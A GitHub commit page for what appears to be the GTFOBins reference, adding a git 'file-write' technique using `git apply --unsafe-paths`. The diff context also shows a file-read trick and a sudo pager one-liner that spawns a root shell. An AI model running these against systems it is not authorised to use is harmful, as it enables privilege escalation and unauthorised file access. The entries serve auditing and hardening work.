Skip to content

Commit

Permalink
Add file-write to Git
Browse files Browse the repository at this point in the history
Co-authored-by: Andrea Cardaci <[email protected]>
  • Loading branch information
Jake Backer and cyrus-and authored Sep 2, 2023
1 parent 5b93637 commit d317315
Showing 1 changed file with 4 additions and 0 deletions.
4 changes: 4 additions & 0 deletions _gtfobins/git.md
Original file line number Diff line number Diff line change
Expand Up @@ -26,6 +26,10 @@ functions:
code: |
LFILE=file_to_read
git diff /dev/null $LFILE
file-write:
- description: The patch can be created locally by creating the file that will be written on the target using its absolute path, then `git diff /dev/null /path/to/file >x.patch`.
code: |
git apply --unsafe-paths --directory / x.patch
sudo:
- code: sudo PAGER='sh -c "exec sh 0<&1"' git -p help
- description: This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply.
Expand Down

0 comments on commit d317315

Please sign in to comment.